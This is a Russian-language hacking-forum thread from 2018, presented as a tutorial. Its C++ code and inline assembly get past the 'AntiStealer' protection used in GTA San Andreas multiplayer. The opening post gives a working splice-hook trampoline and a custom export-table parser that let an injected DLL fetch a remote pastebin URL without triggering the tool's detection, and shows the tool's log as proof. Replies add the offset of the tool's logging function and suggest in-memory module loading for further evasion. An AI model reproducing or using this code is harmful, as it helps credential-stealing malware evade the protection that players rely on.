ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   [C++] Обходим Анти-стиллер by DarkP1xel (https://forum.antichat.xyz/showthread.php?t=1326045)

ЯedЯuM 03.11.2018 04:23

Этот туториал создан исключительно в познавательных целях.

Я не преследую никаких намерений обидеть разработчика анти-стиллера.

Всего лишь хочу показать его главную уязвимость чтобы автор наконец её исправил.

В качестве примера будет использована WIN API функция InternetOpenUrlA с wininet.dll

Метод обхода заключается в "перепрыгивании" splice-хука через свою функцию-прослойку.

Для начала подключим в наш DLL проект необходимые библиотеки и заголовки.

C++:





Код:

#include
#include
#include
#include
#pragma comment(lib, "wininet.lib")



Для обхода сплайс-хука нам нужно сделать так званную "прослойку" с помощью inline-ассемблера.

C++:





Код:

DWORD retAddr
;
// Чтобы компилятор не генерировал нам пролог и эпилог ставим аттрибут naked
__declspec
(
naked
)
void
__stdcall
EmulateInstructions
(
)
{
// Эмулируем 5 байт затёртых инструкций от анти-стиллера
__asm
{
// Распакуем аргументы в стэк
push ebp
        mov ebp
,
esp
        jmp retAddr
;
// Вернёмся в оригинальную WIN API функцию
}
}



Далее нам нужно будет вызвать нашу функцию согласно __stdcall соглашению о вызовах.

Согласно выдержке с msdn это соглашение о вызовах использует порядок аргументов наоборот.

Значит запихаем все аргументы в стэк в обратном порядке.

C++:





Код:

// Для обхода GetProcAddress хука использует кастом-функцию
// B идеале вообще искать адрес вин апи сканнером сигнатур чтобы не нарватся на EAT хуки.
FARPROC
GetProcedureAddress
(
HANDLE hModule
,
char
*
pszProcName
)
{
IMAGE_DOS_HEADER
*
pdhDosHeader
=
(
IMAGE_DOS_HEADER
*
)
hModule
;
if
(
pdhDosHeader
->
e_magic
!=
IMAGE_DOS_SIGNATURE
)
return
0
;
IMAGE_NT_HEADERS
*
pndNTHeader
=
(
IMAGE_NT_HEADERS
*
)
(
pdhDosHeader
->
e_lfanew
+
(
long
)
hModule
)
;
if
(
pndNTHeader
->
Signature
!=
IMAGE_NT_SIGNATURE
)
return
0
;
IMAGE_EXPORT_DIRECTORY
*
iedExports
=
(
IMAGE_EXPORT_DIRECTORY
*
)
(
pndNTHeader
->
OptionalHeader
.
DataDirectory
[
IMAGE_DIRECTORY_ENTRY_EXPORT
]
.
VirtualAddress
+
(
long
)
hModule
)
;
long
*
pNames
=
(
long
*
)
(
iedExports
->
AddressOfNames
+
(
long
)
hModule
)
;
short
wOrdinalIndex
=
-
1
;
for
(
int
i
=
0
;
i

NumberOfFunctions
;
i
++
)
{
char
*
pszFunctionName
=
(
char
*
)
(
pNames
[
i
]
+
(
long
)
hModule
)
;
if
(
lstrcmpiA
(
pszFunctionName
,
pszProcName
)
==
0
)
{
wOrdinalIndex
=
i
;
break
;
}
}
if
(
wOrdinalIndex
==
-
1
)
return
0
;
short
*
pOrdinals
=
(
short
*
)
(
iedExports
->
AddressOfNameOrdinals
+
(
long
)
hModule
)
;
unsigned
long
*
pAddresses
=
(
unsigned
long
*
)
(
iedExports
->
AddressOfFunctions
+
(
long
)
hModule
)
;
short
wAddressIndex
=
pOrdinals
[
wOrdinalIndex
]
;
return
(
FARPROC
)
(
pAddresses
[
wAddressIndex
]
+
(
long
)
hModule
)
;
}
void
__stdcall
TestCall
(
)
{
HINTERNET hInternet
=
InternetOpenA
(
"Google Chrome"
,
0
,
0
,
0
,
0
)
;
if
(
hInternet
)
{
HINTERNET hInternetUrl
;
// Запишем наш адрес возврата в оригинальную функцию с перепрыгом на 5 байт (Дальше хука антистиллера)
retAddr
=
(
(
DWORD
)
GetProcedureAddress
(
GetModuleHandleA
(
"wininet.dll"
)
,
"InternetOpenUrlA"
)
+
0x5
)
;
DWORD DetourAddr
=
(
DWORD
)
&
EmulateInstructions
;
// Адрес нашей "прослойки"
char
link
[
]
=
{
"https://pastebin.com/raw/Cv9PSgY0"
}
;
// Ваша ссылка
__asm
// Порядок пушей согласно __stdcall соглашению
{
pushfd
// Сохраним значения регистров
lea eax
,
link
// Скопируем в приёмник указатель на нашу ссылку
push
0
push
0
push
0
push
0
push eax
// Указатель на ссылку
push hInternet
// Хендл интернет-соединения
call DetourAddr
// Вызываем нашу "прослойку"
mov hInternetUrl
,
eax
// Получим возвращаемый хендл интернет-соединения
popfd
// Восстановим регистры
}
if
(
hInternetUrl
)
{
DWORD len
=
0
;
char
result
[
1024
]
=
{
}
;
if
(
InternetReadFile
(
hInternetUrl
,
result
,
sizeof
(
result
)
-
1
,
&
len
)
)
{
result
[
len
]
=
0
;
// Запишем возвращаемую информацию в текстовик
FILE
*
hFile
=
fopen
(
"__TEST.txt"
,
"a+"
)
;
if
(
hFile
)
{
fprintf
(
hFile
,
"%s\n"
,
result
)
;
fclose
(
hFile
)
;
}
}
InternetCloseHandle
(
hInternetUrl
)
;
}
InternetCloseHandle
(
hInternet
)
;
}
}
// B DllMain где DLL_PROCESS_ATTACH: создадим новый поток чтобы не фризило игру чтение ссылки
// CreateThread(0, 0, (LPTHREAD_START_ROUTINE)TestInet, 0, 0, 0); // Создание потока



После загрузки нашей DLL-ки в процесс игры, создаст текстовый файл __TEXT.txt с результатом чтения ссылки.

P.S - На всякий случай лучше отключить все C++ оптимизации в настройках проекта.

Лог Анти-стиллера (Как видим не одного PATCHED, а нашей функи даже в варнингах нет)

От остальных варнингов можно тоже избавится если обойти и другие WIN API хуки.

Цитата:

Сообщение от Спойлер

|>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~ | AntiStealer | V4.9.5 | By DarkP1xel | .LOG File | Official Web-Site: https://blast.hk/ Subscribe to my YouTube Channel: https://vk.cc/5PCsTe Official Topic: https://blast.hk/threads/16018/ KEEP CALM AND SMOKE SOME WEED !AntiStealer LOADED! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~ [gethostbyname] > [C:\Users\Powerfull\Desktop\GTA San Andreas\samp.dll] > {name: Comparer}

[WARNING] > [InternetOpenA] > [C:\Users\Powerfull\Desktop\GTA San Andreas\SAMPFUNCS\BPS.sf] > {lpszAgent: Google Chrome}

[WARNING] > [InternetCreateUrlW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}

[WARNING] > [InternetCreateUrlW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}

[WARNING] > [WinHttpCreateUrl] > [C:\Windows\SYSTEM32\Winhttp.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}

[WARNING] > [WinHttpCreateUrl] > [C:\Windows\SYSTEM32\Winhttp.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}

[WARNING] > [InternetCreateUrlW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}

[WARNING] > [InternetCreateUrlW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}

[WARNING] > [InternetCreateUrlW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}

[WARNING] > [InternetCreateUrlW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}

[WARNING] > [GetAddrInfoExW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {pName: pastebin.com}

Автор: Rzeźnik

#Rin 03.11.2018 04:45

Можешь еще тут что-то поковырять.

Адрес функции которая вызывается что-бы что-либо записать в лог.

C++:





Код:

DWORD LogFunc
=
(
DWORD
)
GetModuleHandle
(
"!0AntiStealerByDarkP1xel.ASI"
)
+
0x11F10
;


Adolf228 03.11.2018 07:06

ну вот, теперь можно не спать спокойно

SR_team 03.11.2018 10:51

Deprecated же

UPD: При чем было исправлено еще в конце сентября

ЯedЯuM 03.11.2018 15:53

Цитата:

Сообщение от SR_team

Deprecated же

UPD: При чем было исправлено еще в конце сентября

Ты сначало его попробуй а потом утверждай, обход проверен на v4.9.5

SR_team 03.11.2018 16:08

Цитата:

Сообщение от Rzeźnik

Ты сначало его попробуй а потом утверждай, обход проверен на v4.9.5

Пиксель поломал совместимость с wine в 4.9.0

Но вероятно это фикс такой, что бы игру не крашило. Я предлагал крашить игру, если запрос не валиден. Т.к. раньше такой обход вообще в логе не палился.

ЯedЯuM 03.11.2018 16:13

Цитата:

Сообщение от SR_team

Пиксель поломал совместимость с wine в 4.9.0

Но вероятно это фикс такой, что бы игру не крашило. Я предлагал крашить игру, если запрос не валиден. Т.к. раньше такой обход вообще в логе не палился.

Писал ночью и совсем упустил из виду один момент, у него стоит GetProcAddress хук по этому сапается кастомным парсером EAT.

C++:





Код:

FARPROC
GetProcedureAddress
(
HANDLE hModule
,
char
*
pszProcName
)
{
IMAGE_DOS_HEADER
*
pdhDosHeader
=
(
IMAGE_DOS_HEADER
*
)
hModule
;
if
(
pdhDosHeader
->
e_magic
!=
IMAGE_DOS_SIGNATURE
)
return
0
;
IMAGE_NT_HEADERS
*
pndNTHeader
=
(
IMAGE_NT_HEADERS
*
)
(
pdhDosHeader
->
e_lfanew
+
(
long
)
hModule
)
;
if
(
pndNTHeader
->
Signature
!=
IMAGE_NT_SIGNATURE
)
return
0
;
IMAGE_EXPORT_DIRECTORY
*
iedExports
=
(
IMAGE_EXPORT_DIRECTORY
*
)
(
pndNTHeader
->
OptionalHeader
.
DataDirectory
[
IMAGE_DIRECTORY_ENTRY_EXPORT
]
.
VirtualAddress
+
(
long
)
hModule
)
;
long
*
pNames
=
(
long
*
)
(
iedExports
->
AddressOfNames
+
(
long
)
hModule
)
;
short
wOrdinalIndex
=
-
1
;
for
(
int
i
=
0
;
i

NumberOfFunctions
;
i
++
)
{
char
*
pszFunctionName
=
(
char
*
)
(
pNames
[
i
]
+
(
long
)
hModule
)
;
if
(
lstrcmpiA
(
pszFunctionName
,
pszProcName
)
==
0
)
{
wOrdinalIndex
=
i
;
break
;
}
}
if
(
wOrdinalIndex
==
-
1
)
return
0
;
short
*
pOrdinals
=
(
short
*
)
(
iedExports
->
AddressOfNameOrdinals
+
(
long
)
hModule
)
;
unsigned
long
*
pAddresses
=
(
unsigned
long
*
)
(
iedExports
->
AddressOfFunctions
+
(
long
)
hModule
)
;
short
wAddressIndex
=
pOrdinals
[
wOrdinalIndex
]
;
return
(
FARPROC
)
(
pAddresses
[
wAddressIndex
]
+
(
long
)
hModule
)
;
}



И в том случае даже если он по экспорту адрес свой поставит, всегда можно искать вин апи сканнером сигнатур.

SR_team 03.11.2018 16:15

Цитата:

Сообщение от Rzeźnik

Писал ночью и совсем упустил из виду один момент, у него стоит GetProcAddress хук по этому сапается кастомным парсером EAT.

C++:





Код:

FARPROC
GetProcedureAddress
(
HANDLE hModule
,
char
*
pszProcName
)
{
IMAGE_DOS_HEADER
*
pdhDosHeader
=
(
IMAGE_DOS_HEADER
*
)
hModule
;
if
(
pdhDosHeader
->
e_magic
!=
IMAGE_DOS_SIGNATURE
)
return
0
;
IMAGE_NT_HEADERS
*
pndNTHeader
=
(
IMAGE_NT_HEADERS
*
)
(
pdhDosHeader
->
e_lfanew
+
(
long
)
hModule
)
;
if
(
pndNTHeader
->
Signature
!=
IMAGE_NT_SIGNATURE
)
return
0
;
IMAGE_EXPORT_DIRECTORY
*
iedExports
=
(
IMAGE_EXPORT_DIRECTORY
*
)
(
pndNTHeader
->
OptionalHeader
.
DataDirectory
[
IMAGE_DIRECTORY_ENTRY_EXPORT
]
.
VirtualAddress
+
(
long
)
hModule
)
;
long
*
pNames
=
(
long
*
)
(
iedExports
->
AddressOfNames
+
(
long
)
hModule
)
;
short
wOrdinalIndex
=
-
1
;
for
(
int
i
=
0
;
i

NumberOfFunctions
;
i
++
)
{
char
*
pszFunctionName
=
(
char
*
)
(
pNames
[
i
]
+
(
long
)
hModule
)
;
if
(
lstrcmpiA
(
pszFunctionName
,
pszProcName
)
==
0
)
{
wOrdinalIndex
=
i
;
break
;
}
}
if
(
wOrdinalIndex
==
-
1
)
return
0
;
short
*
pOrdinals
=
(
short
*
)
(
iedExports
->
AddressOfNameOrdinals
+
(
long
)
hModule
)
;
unsigned
long
*
pAddresses
=
(
unsigned
long
*
)
(
iedExports
->
AddressOfFunctions
+
(
long
)
hModule
)
;
short
wAddressIndex
=
pOrdinals
[
wOrdinalIndex
]
;
return
(
FARPROC
)
(
pAddresses
[
wAddressIndex
]
+
(
long
)
hModule
)
;
}



И в том случае даже если он по экспорту адрес свой поставит, всегда можно искать вин апи сканнером сигнатур.

Это он собирался фиксить в 5.0

https://dl.prime-hack.net/244421541247344.png

#Rin 03.11.2018 16:16

@Rzeźnik

Можно грузить одну и ту же библиотеку несколько раз.

fancycode/MemoryModule(https://github.com/fancycode/MemoryModule)

И его аналог на AHK. :trollface2:

[Class] [AHK_L/v2] _MemoryLibrary - Scripts and Functions - AutoHotkey Community(https://autohotkey.com/board/topic/77302-class-ahk-lv2-memorylibrary/)

SR_team 03.11.2018 16:19

Цитата:

Сообщение от Rinat_Namazov

@Rzeźnik
Можно грузить одну и ту же библиотеку несколько раз.
fancycode/MemoryModule(https://github.com/fancycode/MemoryModule)

Когда-то думал это в SF встроить, но там столько говна было, что я забил.


Время: 01:55